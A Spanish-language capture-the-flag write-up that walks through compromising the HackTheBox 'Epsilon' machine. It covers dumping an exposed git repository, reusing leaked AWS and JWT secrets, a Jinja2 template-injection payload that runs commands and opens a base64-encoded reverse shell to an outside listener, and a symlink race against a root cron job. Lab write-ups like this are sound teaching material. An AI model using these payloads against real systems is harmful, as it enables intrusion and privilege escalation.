Epsilon
sudo nmap 10.129.96.151 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.96.151 -p 22,80,5000 -sCV -oN targeted
Parece ser que hay un repo de git , pero no podemos acceder
80/tcp open http Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-git:
| 10.129.96.151:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
Fuzzeamos pero parece ser que no hay nada más.
En el puerto 5000 hay un Flask
Fuzzeamos
La autenticación no parece impedir que podamos acceder a /track
Al enviar un track nos redirige al login, de todas formas ya sabemos que el usuario es admin
gobuster dir -u http://10.129.96.151:5000 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 150
Como no hay mucho más volvemos a la otra página con el .git, ¿Cómo es que nmap ha podido leer el nombre del último commit? Porque ha leído .git/logs/HEAD e individualmente a a cada uno de los archivos si que tenemos acceso.
git-dumper http://10.129.96.151/.git/ repo_dump
Reconstruimos con el último commit
git config --global --add safe.directory /mnt/Windows/Hacking/Academias/HackTheBox/Machines/Epsilon/content/repo_dump
git restore .
Según index() la contraseña de admin parece ser admin, pero no funciona
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
En track_api_CR_148.py hay un código que interactúa con una Lambda en LocalStack (emulador de AWS local)
import os
from zipfile import ZipFile
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
def files_to_zip(path):
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
archive_name = full_path[len(path) + len(os.sep):]
yield full_path, archive_name
def make_zip_file_bytes(path):
buf = io.BytesIO()
with ZipFile(buf, 'w') as z:
for full_path, archive_name in files_to_zip(path=path):
z.write(full_path, archive_name)
return buf.getvalue()
def update_lambda(lambda_name, lambda_code_path):
if not os.path.isdir(lambda_code_path):
raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=lambda_name,
ZipFile=make_zip_file_bytes(path=lambda_code_path))
Apuntamos los nuevos dominios en el /etc/hosts
echo '10.129.96.151 epsilon.htb cloud.epsilon.htb' >> /etc/hosts
Ya que estamos fuzzeamos por subdominios, pero no encontramos nada más.
ffuf -u http://epsilon.htb -H "Host: FUZZ.epsilon.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -mc all -ac -t 150
Aquí tiene toda la pinta que hay un Server Side Template Injection pero faltan creds
@app.route('/order',methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/',code=302)
app.run(debug='true')
Probamos a listar el lambda o buckets con creds fake (ya que muchas veces LocalStack no necesita una IAM válida para funcionar), sin éxito
export AWS_ACCESS_KEY_ID="FAKE"
export AWS_SECRET_ACCESS_KEY="FAKE"
export AWS_DEFAULT_REGION="us-east-1"
aws lambda list-functions --endpoint-url http://cloud.epsilon.htb
Hacemos un
git log --oneline
c622771 (HEAD -> master) Fixed Typo
b10dd06 Adding Costume Site
c514416 Updatig Tracking API
7cf92a7 Adding Tracking API Module
Comparandos los dos primeros commits encontramos creds de AWS
git diff c514416 7cf92a7
export AWS_ACCESS_KEY_ID="AQLA5M37BDN6FJP76TDC"
export AWS_SECRET_ACCESS_KEY="OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A"
export AWS_DEFAULT_REGION="us-east-1"
Tratamos de listar las lambdas , pero se queda pillado
aws lambda list-functions --endpoint-url http://cloud.epsilon.htb
Tampoco podemos hacer un whoami
aws sts get-caller-identity --endpoint-url http://cloud.epsilon.htb
Tras varias pruebas más resulta que es un bug de la máquina y debería funcionar la petición de listar las lambdas:
aws lambda get-function --function-name costume_shop_v1 --endpoint-url http://cloud.epsilon.htb
{
"Configuration": {
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2026-01-02T11:10:51.283+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "a2576154-50fd-446a-9d40-58bb3330b56f",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
"Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
},
"Tags": {}
}
Nos descargamos el código
Haciéndolo así se nos corrompe el zip parece ser
awscurl --service lambda \
--region us-east-1 \
http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code > epsilon.zip
Forma fiable:
aws configure --profile user
import requests
import boto3
from botocore.auth import SigV4Auth
from botocore.awsrequest import AWSRequest
url = "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
region = "us-east-1"
profile = "user"
session = boto3.Session(profile_name=profile, region_name=region)
creds = session.get_credentials()
request = AWSRequest(method='GET', url=url)
SigV4Auth(creds, 'lambda', region).add_auth(request)
headers = dict(request.headers)
r = requests.get(url, headers=headers, stream=True)
filename = "flag_code.zip"
with open(filename, 'wb') as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
unzip flag_code.zip
El código es algo así:
import json
secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124
'''Beta release for tracking'''
def lambda_handler(event, context):
try:
id=event['queryStringParameters']['order_id']
if id:
return {
'statusCode': 200,
'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
}
else:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
except:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
Vemos que necesita un tracking_id , para llamarla:
aws lambda invoke \
--function-name costume_shop_v1 \
--payload '{"queryStringParameters": {"order_id": "1"}}' \
--cli-binary-format raw-in-base64-out \
--profile user \
--endpoint-url http://cloud.epsilon.htb \
respuesta.txt
La respuesta que recibimos es algo así, lo cuál tiene sentido porque no existe la variable resp
cat respuesta.txt | jq .
{
"errorMessage": "Lambda process returned with error. Result: . Output:\n",
"errorType": "InvocationException",
"stackTrace": [
" File \"/opt/code/localstack/localstack/services/awslambda/lambda_api.py\", line 811, in run_lambda\n lock_discriminator=lock_discriminator,\n",
" File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 428, in execute\n return do_execute()\n",
" File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 418, in do_execute\n return _run(func_arn=func_arn)\n",
" File \"/opt/code/localstack/localstack/utils/cloudwatch/cloudwatch_util.py\", line 157, in wrapped\n raise e\n",
" File \"/opt/code/localstack/localstack/utils/cloudwatch/cloudwatch_util.py\", line 153, in wrapped\n result = func(*args, **kwargs)\n",
" File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 405, in _run\n raise e\n",
" File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 401, in _run\n result = self._execute(lambda_function, inv_context)\n",
" File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 709, in _execute\n result = self.run_lambda_executor(lambda_function=lambda_function, inv_context=inv_context)\n",
" File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 637, in run_lambda_executor\n ) from error\n"
]
}
Tambien tenemos el secret que parece ser el secreto para firmar las cookies
secret='RrXCv`mrNe!K!4+5`wYq'
python
>>> import jwt
>>> secret = 'RrXCv`mrNe!K!4+5`wYq'
>>> payload = {
... "username": "admin"
... }
>>> token = jwt.encode(payload, secret, algorithm="HS256")
>>> print(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4
Ya podemos hacer el Server Side Template Injection
@app.route('/order',methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/',code=302)
app.run(debug='true')
POST /order HTTP/1.1
Host: 10.129.30.243:5000
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4
costume={{7*7}}&q=1&addr=test
El payload más básico de todos parece funcionar:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Nos enviamos una rev shell:
{{+self.__init__.__globals__.__builtins__.__import__('os').popen('echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE3LjQ4LzQ0NDQgMD4mMQ==|base64+-d|bash').read()+}}
nc -lvnp 4444
En este punto estaríamos dentro del máquina que hostea la web, no dentro de la ec2 donde correría la lambda temporalmente, ya que hemos hecho un SSTI en el servidor web.
cat /home/tom/user.txt
Corremos pspy y encontramos esta cron job
2026/01/02 12:24:01 CMD: UID=0 PID=3193 | /bin/bash /usr/bin/backup.sh
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/ #Comprime app en backups
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum #Guarda el checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar"
/opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
Podríamos pensar que se podría hacer path hijacking pero al ejecutarse en una cron jon el path suele ser algo así : PATH=/usr/bin:/bin y no carga tu variable $PATH
Tenemos permiso de escritura en /opt/backups
ls -la /opt/backups/
total 8
drwxr-xrwx 2 root root 4096 Jan 3 12:10 .
Vemos que continuamente se está creando y borrando el .tar y el checksum
watch -n 1 ls -la /opt/backups/
Cuando se cree el checksum podríamos cambiarlo por un enlace simbólico a /root/root.txt
Porque el -h carga el archivo original al que apunta el enlace simbólico
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar"
cd /opt/backups/
#Ejecutamos esto hasta que eliminemos el checksum original
rm checksum ; ls -la ; ln -s /root/root.txt checksum
cd /tmp
for archivo in /var/backups/web_backups/*.tar; do tar -xvf "$archivo"; done
cat /opt/backups/checksum